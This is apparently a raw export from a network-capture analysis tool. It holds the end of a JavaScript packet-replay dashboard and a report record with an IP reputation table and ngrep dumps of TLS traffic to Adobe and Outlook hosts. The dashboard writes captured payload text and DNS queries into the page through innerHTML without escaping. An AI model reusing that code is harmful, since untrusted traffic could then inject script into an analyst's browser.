.enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a412be9ef40726c21470d7a"},"sha256":"be5dcbece8635a9753fa1a9e6df99e8f7f1f40d787ced52cf13a85ea9c045181","timestamp":{"$date":"2026-06-28T19:42:57.871Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n23.143.152.86,23.143.152.86,HTTP Host,0/70,Neutral,No,External\nhttp://23.143.152.86,23.143.152.86,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_5k3vbz5k.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:63946 -> 184.30.157.69:443 [AP] #4\n...........jA..6.........<F .....c..i....)...&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...b.........assets.adobedtm.com..........\n...............................................#...........\n##\nT 184.30.157.69:443 -> 10.152.152.11:63946 [AP] #6\n....I...E.......wt........ ....\\cL,DOWNGRD...,.....................#.........................0...0...............o......S.m$0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...260615000000Z..261230235959Z0h1.0...U....US1.0...U...\nCalifornia1.0...U....San Jose1.0...U.\n.\nAdobe Inc.1.0...U....assets.adobedtm.com0Y0...*.H.=....*.H.=....B..|.VS.#SPeh.7....'....h........'...D. ..|ort.@Df...(...ln...,hB.....@0..<0...U.#..0...t...f..7...)7.......0...U......?..+.<.m.]...I..2<.{0....U.....0....assets.adobedtm.com..magento-recs-sdk.adobe.net..assets.adoberesources.net..cdn1-staging.adoberesources.net.!assets-staging.adoberesources.net..cdn1.adoberesources.net..commerce.adobedtm.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0...+.........+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0....\n+.....y......q...m.k.w..1~WE..E..8...A...!Z\"\".....v...R....../c......H0F.!..X......vQ....N.9...........r....!...dk(hj.......!t..^/w......N...5.w...U;.Oz....o.O.....^.U&....r.EK....../c......H0F.!..'.........MI.|....r..l...~ ...v.!.....k.a...O3.....r.-._....2...S..w..NC........$&..e..._8..?rg}U7......../c......H0F.!..~^.)..c....Uq..9...W.Hm......p#.!.....i.WAO.5.2.O..s[V..X...b...ot0...*.H.............+.a.X...M7[...T|.:.........y6....{....k...;..m...5.8.L.ioe:?..........t.O....:._...;.|}..2....#....%i..Aa....VF...i.\n..x.HYN.7...Bw._..rL..G .|...{...G..f0...$=z...|...iM$.$....m......hl...[...UhUrV.+.n\"\"gV.e..Q.2....kIl..;.I....#..Gp..SK.(.......\\s....x......0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)\n##\nT 184.30.157.69:443 -> 10.152.152.11:63946 [AP] #8\n..f.m.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@................0...\n......0.....+.....0......0...0......t...f..7...)7.........20260626192033Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7..............o......S.m$....20260626190300Z....20260703180300Z0...*.H..............k....MVI...4....9.e..u....+M.Ht..t.....d|...S...'E..R.ZU...m'.<.........@.y.Pa.a.=..KS...L.......$.nT.PL.Ar......\"\"...K\n.b..3.......j[....`U......h..^*...k..J'......s....f.z.1N...ww....|D.q6&.\"\"......F@..j.]mR....Wi....nhP..v.j...{..V.y*..z.m(.P.q2DN..'................A..&.O.o's..`.!.Jt$......<n.D..2pG`..w.{........tYGI...........].....G0E. 3l...h.........,........I..v<.|..!..0.`L.PS.D.Z$9..........Wf._.............\n#\nT 10.152.152.11:63946 -> 184.30.157.69:443 [AP] #9\n....F...BA.3.OOv=.K...t.R.BhZ...U.Y......\"\"..2.T..`.&$....#..+.O..Jk.p8...5...........(.........{..G.9E.....p\n..Z.Y.F..Qz.4....\n##\nT 184.30.157.69:443 -> 10.152.152.11:63946 [AP] #11\n...........D.......+..hT.....s.(...^.....HyX.N4Y..........vU...W...8....Z.}.Es.PoXw..|.e...........1O.\n..A...V.B..iiI.....(L\\......k...A.R..'...H..Ogm..e..{./...E..}B8#.F1...O..RK.#-...R^.n..>.mJ......F.'...|F........................(I.;5......v.5.....X..hyRv..>..N........g\n#\nT 10.152.152.11:63946 -> 184.30.157.69:443 [AP] #12\n...............k.....e57....r.V./....=sVD..v..aj..D...W<..'...9.1....1.....;h..........s..lT>....CT..{.....PL.i...S\"\"U..g..#...`.....^u^\"\".H...../ ....... ....0...ps-.s...].&... ?.\"\"....9 .f*V...h..X.v~L~&....).t.........=.-....W.....9.s.........$w...B.......t-....p.5.....o.{.8fX:..As.R...DE.{.z>H.......3.2....UW...m...P..l.1.L.-.*..FS.......}.F......8...=_.|..fe.W..6.)c........U.$.u....&.=.'.@*P4....K....UX.g[QTM._..-...........6.~l../.....jq....c=...ugG......\"\"\n...;3.F.l....N^....QH.v..=.....\n##\nT 184.30.157.69:443 -> 10.152.152.11:63946 [AP] #14\n.....I.;5....39.......v.,..........Q5x#..Q.U........L.KZ......)E.g~TA..Y...)r>...^?bB\n).B..:.......(.^H7..A.....cd!.._.....YV.f.RP....l.H.X.U#..Q..g.B..&......]......6.G..[qj.Tu+.%>...~.T.~r.....A....`.U..a\\........7...A....#WV_.LB...X!......[........9.7..5wY...Gb7.-.#Eo.u.).7SA-.%....S........B.>._\"\"?..1HJ..k.wzID..-.r.n.T........U[!.........Z...........|.p.!...H1.../...<Q.e1.......y.G..iac^.mn.p='...sb..{..I...+..KW'....E|.X4$.I.n....o....B....`...j..3.n...p\nt.PiZ.t.z..(....a.i.i..L._m...j._P..^6..up..;8........p5......qA......O[.8..\\..-.@..%k.......R..qL.....H1..I......tU.*d;.Zv!.&.En...........M\"\"-o...H..T$..J.js....&.MIJv.....k$.kj7ws..o....3\n..k.;.,&....*..l..-..8v4I....w.....,.UsRct..;..9..vG...i..E...c........&._..^...E..)....R....C...`..F....'.l........8j..Q8.`..;j.q5..DVQ..}.#%..uxj..D../..Cb`...M.....z...X.w..w>........NY..,~U%.....d.+........Y..7.d..F.....K.,........I.sGd.g..&.`.f........./,.a._.l..c.)..d.....q).F.. ..'....l.....'.'L.......L.H.M....|\\.$.......%..f..sdY..8+......T.s.B.hx.[.j.......G.@.a.......7.l2X...r..,.l....@q.&...9........1EG....m... ....*K...H....m.W..l.....}\n&.R.v...........V...2{P..t...[,.\"\"}..1O........5Uc8..q^kXp.....F......#..........4d}....j......9...%{%.~..|cR.e.d.6..CE..+......M..-O......Y...\\.|].aQ.......X....M..lZ.....H6..R..C....].....IFX.|...x......K...).....z........=..W....0.....8.....>......5\"\".........ar..-...:........:>....\n...%......;1r..b.b.....|.Ya....;....z..9..{.?$..Cf......[...'9D.........W........d...g..|....7...._ ..N.;....~..g.Y.{5..v........\\c<........;.Y.@A...&3....0.Y.W..{..n...%.ht.c....~..>.(.V.D..w]nE...U.}6.%....Z..,R6...i.wjq.b..0..!.|....T..5.X.D`..}..._+...8O...#...-i@.J.......Dr..q...2.7.%..FZ.%.1.....z.....lS.K.TTT.A,.P..t......>..td...U.. ..j+.'..A.G.jd\n....0.$?6/.2..j.:..q..M........1..t..urK....a..l.5....D.k*q\"\". .........Y.9.(M../.,iDE'S..H.ki..v.-S..D....m.....t....V......= .......U(l.~...n7;...I.\n~..*o2.ss...a..D\n.?\"\"...`.O....XcL.......AE..fb.d3'...J.j...^Q@..`M..^...G.R2..D...h....W.[.]....u...t.H.v#......!.[....b..:..\n.'.......~#x;....l.T.....H.:....{:|..O.Y,...#Q)...K.a.t}7|A...r7W*.M>!.f$.4...=+d....t..6.?.|CET......S......^.(.v..9..8..rW[%...fpP#..............6Y>...v.}..F.._\\.n6.T5............^W.)..w....>.K.v'....b?...!0._......gIp.hGhT........`\"\"Z..&.......'].mDx.9lfg...fM_.../>&X^W.@............ycP..;....bFqQ....k.&.6-..b..2..o.{h.E.$P..T.=.&.H..$...9..u..#wOx.....[..H.5.|e27..3.<.e.....o.QAW3........<........'.'.._.E.H.\n##\nT 184.30.157.69:443 -> 10.152.152.11:63946 [AP] #16\nX.^...kx.......x.A....B.=..4\n...P..y., ..!.......j..D.....3.0.4.....aVFa....,_.$..vf..?T... d\\..z..2...7<x..$C.,ni`.\\.OLa~e*>$k..`.m....2..{A.....1[.....i.~.$..R.q.y...T....X..L...QJ`B...K......2fP9..f\"\"c4.:.....R+\\?......0&.....^.pQhm}..+.Fn..l.LB$....N..c~w..C..6...d..s%U.x_x.p.@kj.......KJ...X..q..mS.....W.,YdL........_o........V.....,A{.qd../..hbk..VpY.R..+.K..7E(...Q`.&\n*p..k.....q..H.q.<.x....i5Vl.O..fLCm..p.E...(.......L.O...L..t......b ...!G.e...?.vH.k.G.6ykm....#.{A.^1......a..M.Q...7..tG....{K.........^@...mL....Z....z.T.n....`v.....P>JL.hgc.[d.c..l...B............y.In...........~.m....j0...;)\"\"J...Z@....=fa:.S..N.....XC?We .o...Bl.P...H.K.l`..Z..hP...>oD....q......Y.`.z .\"\"...V.......M?r.......YSF...T.g-...y..O...'?.>.o....hsZG5....>LS.w2r...#O.\\..Wh?.2.y.,..M...h...:V\n.T.t.D..oaeg..h..[.R..U.y.....94..N@<I,%......S..m....P.D.....X.q...E...lu...d.....e.Y..BQ.....I+....P....#......O8...o4a.r.o.6I..i.D..\\...q;...`....w.......I' ....R,.lD....W...3..%.h......U.9..p..<.....{x..l../au...[.g%....S.tKRT11.~.8e.Q......n.i_...5.4.1..7Hz_N..L7.0...:....(. .vI.\n..l...............O........t:.]..<.!...P.....&u..........n.+.o..e......5.8......y=.1?..yn4..\"\"s..X..gdO....h..u@.......B.SU.V..,yhpF.........B.t.'9If.......D....j...)...u|..o.\\QK..q@...c!....{..de.6h....a^?.....FGW.....1%...c....d;.M.......-[I.o....C..d..K....Z}w..#....ndzr'.'.....n4.....5$L..@...3V.@(....P.................d.HT.9..:..).(.h:.Dh._(..\"\"..N..R.k....@....t..0O........u1...P.....1>.N.F.....O\n..U...DQ..GD4.....Y.F.....z.:8...5Nc3.y.....{.*...j[...Y....&.Q..\njE5...j,.l........L....C..X.#..%...O.8.....?..<.....^.y..^...3/a....;.X.q.c}..........y..k...PSkPvSl..{|.....(...A...;.h..._..zFi..]^1..2.A|ja./J.. .......Umb...9..U.O.I..D.TuQ..I...\"\".,W...1\\....8..[.|.i....f......\"\"a_...<.4.k..].6........&.?.|6m-.3..%f.E.Zr.S......+..uV..e..u..m%.....P..M.9....0.9.w2.g...g...dVxb.....X.r...%..R.,.].J.J.......oh..D...6..|W.C..`.o^..,)..5..\"\"...zP.&..cS...r.S.\"\"....M..s.C.!...En.H./..@j!.CVa.|.h..!.)........$..t>}..5.KN.........w....2............N2..c`....|.........C_.k.7.{......jlZ.....3..5q..B..{.E..Mi..\"\".:..z....!>.@?.....U.a...w.@^.L...n_.l..&}m.....1(K.A..5_(...a..\n..i.........E.[^h.+j..:!..G5.........o...._HH(.w.H..).c..aa....h.-T.\n..........\"\"._g.......p.;..{l!7\"\".....=..S.G.|..'.*i|.b.~...W....j..4.....O.T...~.~..c..%I......i..\n......q{.O).O.7.\\...Cs....r...D...Z.V...._..l&....(.&.z@.....}uE...z..`....`nO]...gJ7.*.'oW.7...B......H....#+Q#..$........D..X..|.~8m.{q.tk..JH.P.u............:.L.P.\\T..-....*1l3......k.X.)y.....n.A.....n....3\\.D!.(ah&dZ.. .....%eU..]..A..D\\b......g.R..r$..'.g...I.H.H{..xc.&.t.h.....\\.S.....2o .l..@x...a.F?t.1<h...X....!}...F.fa... .}....$`l.B.....J..e.mL.....(&F=.....R....[..F..Q.O....../..vzH..T......_..X#..K.a...5HF[.GB@H.w!djs`....;iz.(^......?E...K..f.....t..........<O.t=....;G.v.]..>O. }.m.w...2..PZ....v...Y......_.%GCL....R..w.........?..b.)...zR^`....'...c.j..n'.....HR......'.u..j.k..e...^nr2n.....7.A>.5dD...S.>\\.Z...1._....G.D..c...Bh..w.....=...6.E./....f.;3djN>?./J.2.%Pl.`.a..*.!R..F&..x....o4......2....+....A..O`...f!^....L.y..,...N....j........EQ..<.G-..Q....&..o..w#....HF.,........M..=.`Q..Y..&..}..p.......rn[3..5\"\"X..3..iz6=....74....I..%..C...H.&)sd-.`$..........|...=....q(..Y1c.I.\"\"... .}gR.....:Z.....K.h.q....+.......!#v.....>...6MwF.....6xi{..3E......|F.......Y.qK...1...cD..*..*[....t.i....9%dq..^r.^..O%G.r...-..%n......XH3EQ...7.....0..U......g...b.....&......?=.\n##\nT 184.30.157.69:443 -> 10.152.152.11:63946 [AP] #18\n..Tm1%.....*...Fq.......<G`..#..!...\\+.......U....CC.7.[.9....,l..E;..xM.X%..V... ...TB.5...H4yeX/..Q.{....Y..I..V...i........=....T....3g....K.'....g-......D... .P|>r.1....0<..%H.aB....]w....q....]r.. ....T.....J.K].w6..Ee`..2D...jtY.9WY......6.m\n.6........DX.W..:..=.1z....S...\"\"...g..Z.M..w\n..t.m...y.......K.....Z.m...-V..'......|......6q...a=4.N...z..1......3.j6......,R......|W........nT.%s-hc..1..I|.W..:..aVu..v.q........ZdP.(..t~.....Sn......E.dp..\\J..UT6.uFO.*..c.9.:_K.h.zX..EB..sw......D......N@..a6......6.^..'..G.._........E?I....p..Z.3!......9.6.^)q]........*./..A/......x.U..VJ.....T..e..$7,.)>....Q.D..i.Iz.....+.@..y3.*.l.9.....@8.C.M=9..f.....y.~....r..((M.r=.`..[.....n...Z...%.z...#m.v..+6r..O..o....q..DV..W..@.Z...$...q.Q>....0...1.i.#r..S.Ac+..W....]...eDX.....FC..S...qeE&#R._en.E.\"\"....?.....4......W..+....l.*4..L.T...(.......{DN..*...9H....07~0..z.0N..y..r..t...c......je{k.M....)...@....C...6.E..W..9..[...vJQ..xG.....u..q..!S....s0E...~...WG`'J9....CQ.v.....9.F........<.yo........Z*Z.4.L...mul+\\..m.ri..Lu.1.............>..=.w..Z...U._......s...-..-..&bL:M...........\\.f..t3u.yiK0 (..5eI..l.d.......W....).)......u.3........0...R.5.MD.......O...e.2Qqp..k.\n.;........g+b(..(..UJ..tG....q>YB..9\\..Q\n.y.&.C..P..)g..0...^..%..h..'qH..%....}yi.C...u.$!..)......bT!..o..?............k[)........$cf%8.'}l.P..h.`x......6M.........y:*%.`.8.6C....mp..e!....\n.......{....q.......9g.,=.v.zBh.+m.t..._qxz..NK.n.l-..xc...!.vB........r....U.h8#\n..............._+........K[V..\"\"'*..E.R./........m..N.c.e....m@...U.]k.P...<.fl/...*....hSC..H...'....;L..b.....0..g..a.&J.1.zniT......-:W.............w.k...l..(m.V...%.S.#.8n\\...G.....c.1..i#.D.o.LJb4XyT!<b.WT.!...|..4.E.Z8.....I,..'k\n....4.....l...S.5Kv....l.....3...)n....pI....?.......i[..y...A@.8w.3.O .j...N\"\"...OF.-....!.......!a.M.-)...\\...{...u.30j....J\"\"....0~I.|.O......Z........!i....:...OGw:Bt....f.6gt.A).[Kg..n.;..`<(?.........R.....c_.......dWZ..Bw.Nd....3/$.5Y|.n.!.8..O......`..Qy...d...K,.Z.7..%...j.?..Vk....xj$|6A@...(..\"\"b8...].....\"\"59q.,k*........'..fP..L/P,.\\..n...1..t|...+.=..gC.{.. ..;S.. .4..a....\"\"......N...R..\"\"..U....9.1....Ky.%~.4.~;.B.D.#....psl.... .s..(...v..9..Y.N.....c..%.<]..\n...q.5..[..y.t...&....?......7!.]Q.e.....T.. ..0h.PM0o..8.7.m.wsD*/....?\n##\nT 10.152.152.11:63946 -> 184.30.157.69:443 [AP] #20\n....y........Z...s_]N3.....#!!..R \n..-z..Z.....2.?......v`..9w!..hL~P...sG..Y.f.(Ee.75M...%I.$<#6}.............+.....s.......2.ty..?....#......7....91Y.'.......&.....x.~.....\\....G....$..\"\"..2..9.[c...3...N.uGZ%....3....+..J....N.dd@.....A.....g.p\\<..;4...m.G.VFG..>..9._?H.V....p.v....=P.].a../.....t......tjz.DPQb.?...a.{.......@?..a|.=d.b....,.i[.V.Z?\n..Z..7I...IA.|wG...F..\"\"G....\n#####\nT 10.152.152.11:63964 -> 40.99.204.34:443 [AP] #25\n...........jA....Zz.dDB...<H.r.z..g..t\\>.....&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...s.........outlook.office.com..........\n...............................................#.........h2.http/1.1.........\n##\nT 184.30.157.69:443 -> 10.152.152.11:63946 [AP] #27\n....tI.;5... ..C...G`.;....'...%:..^k.W.t...........L\n....\\-..]m..UIju...\\..6..4;.&..f.&..v..7..F_......~Za...).x.>.,N|..s...8n...,. I../...b..~....b..s.....|9h. 